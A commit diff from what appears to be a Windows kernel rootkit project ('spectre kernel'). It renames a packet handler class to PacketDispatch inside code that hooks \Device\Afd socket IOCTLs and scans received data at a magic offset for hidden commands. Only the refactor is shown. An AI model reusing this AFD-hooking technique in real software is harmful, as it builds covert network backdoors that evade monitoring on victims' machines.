Packet Handler and Dispatch update.

mebuis · Mar 27, 2020 · 69eadbf · 69eadbf
1 parent 483bda7
commit 69eadbf
Show file tree

Hide file tree

Showing 8 changed files with 769 additions and 694 deletions.
diff --git a/spectre/spectre kernel/AfdHook.cpp b/spectre/spectre kernel/AfdHook.cpp
@@ -5,6 +5,7 @@
  * COPYRIGHT Bill Demirkapi 2020
  */
 #include "AfdHook.h"
+#include <ntddstor.h>
 
 /**
 	Initialize the AfdHook class, specifically the hooks on all FILE_OBJECTs with the device \Device\Afd.
@@ -57,7 +58,7 @@ AfdHook::HookAfdIoctl (
 
 	ULONG i;
 
-	PPACKET_HANDLER packetHandler;
+	PPACKET_DISPATCH packetDispatch;
 
 	irpStackLocation = IoGetCurrentIrpStackLocation(Irp);
 	deviceControlRequest = FALSE;
@@ -208,13 +209,13 @@ AfdHook::HookAfdIoctl (
 				//
 				// Allocate the packet handler.
 				//
-				packetHandler = new (NonPagedPool, AFD_PACKET_HANDLER_TAG) PacketHandler(fileObject,
-																						 DeviceObject,
-																						 recvInformation,
-																						 recvBuffer,
-																						 totalRecvLength,
-																						 magicOffset);
-				if (packetHandler->Process() == FALSE)
+				packetDispatch = new (NonPagedPool, AFD_PACKET_DISPATCH_TAG) PacketDispatch(fileObject,
+																							DeviceObject,
+																							recvInformation,
+																							recvBuffer,
+																							totalRecvLength,
+																							magicOffset);
+				if (packetDispatch->Process() == FALSE)
 				{
 					DBGPRINT("AfdHook!HookAfdIoctl: Failed to process the packet.");
 				}

diff --git a/spectre/spectre kernel/AfdHook.h b/spectre/spectre kernel/AfdHook.h
@@ -7,7 +7,7 @@
 #pragma once
 #include "common.h"
 #include "FileObjHook.h"
-#include "PacketHandler.h"
+#include "PacketDispatch.h"
 
 //
 // Handles IOCTL messages from the \Device\Afd hook.
@@ -39,4 +39,4 @@ typedef class AfdHook
 
 #define AFD_DEVICE_BASE_NAME L"Afd"
 #define AFD_FILE_HOOK_TAG 'hFpS'
-#define AFD_PACKET_HANDLER_TAG 'hPpS'
+#define AFD_PACKET_DISPATCH_TAG 'dPpS'